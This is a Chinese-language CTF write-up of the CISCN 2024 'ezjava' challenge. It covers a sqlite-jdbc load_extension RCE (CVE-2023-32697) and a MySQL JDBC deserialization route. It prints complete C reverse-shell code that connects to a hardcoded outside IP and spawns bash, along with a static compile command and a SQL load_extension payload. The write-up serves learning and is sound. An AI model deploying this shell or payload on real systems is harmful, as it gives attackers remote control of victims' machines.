CISCN24ezjava浅析

image-20240521152029331

前言

打了四个半小时,没打出来,应该是对JDBC的各种洞不太了解,一直没思路,后面有思路了也没找到链子

题解

题目描述是小安的数据源测试站已经开发了一部分,所以这题前端上线了两个功能,但后端还有一个

SQLITE,这样看起来就是要打这个SQLITE了。

CVE-2023-32697——sqlite jdbc RCE (qq.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 1234;
char *ip = "150.158.33.89";

void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}

void main(int argc, char const *argv[])
{
reverse_shell();
return 0;
}
1
gcc evil.c -o evil.so -static

可执行文件在运行时不依赖于外部的动态库,这使得在没有相应库的系统上也能运行。

ldd来查看是否为静态文件。

漏洞的主要点在这里

fix: use random UUID for external resources · xerial/sqlite-jdbc@edb4b8a (github.com)

image-20240521150832154

通过UUID代替hashcode使得缓存不可见了

大概利用思路就是把evil.so文件写入然后再通过db文件执行sql语句

1
CREATE VIEW test as SELECT (SELECT load_extension('/tmp/sqlite-jdbc-tmp-1464932377.db'))

来挂载evil.so文件来执行。

这个hash值就是http://150.158.33.89:81/evil.so通过`new URL(url2).hashCode()`跑出来的,这样就能找到这个evil.so文件了。

还有一种解,应该是预期解了,利用了题目中的类

还是MySQL打反序列化,

MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)

小白看得懂的MySQL JDBC 反序列化漏洞分析 - 先知社区 (aliyun.com)

利用的链子是AspectJWeaver反序列化利用链 - 先知社区 (aliyun.com)只要控制对象,然后触发put方法就可以控制文件上传。

image-20240521145536902

然后再利用[JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec (github.com)](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC Attack/SQLite/index.md)

使用load_extension来加载上传的恶意文件来反弹shell

小结

经验少了,这些洞都挺有价值的,以后有时间来仔细分析一下吧。感觉比赛还是缺乏搜集信息的能力。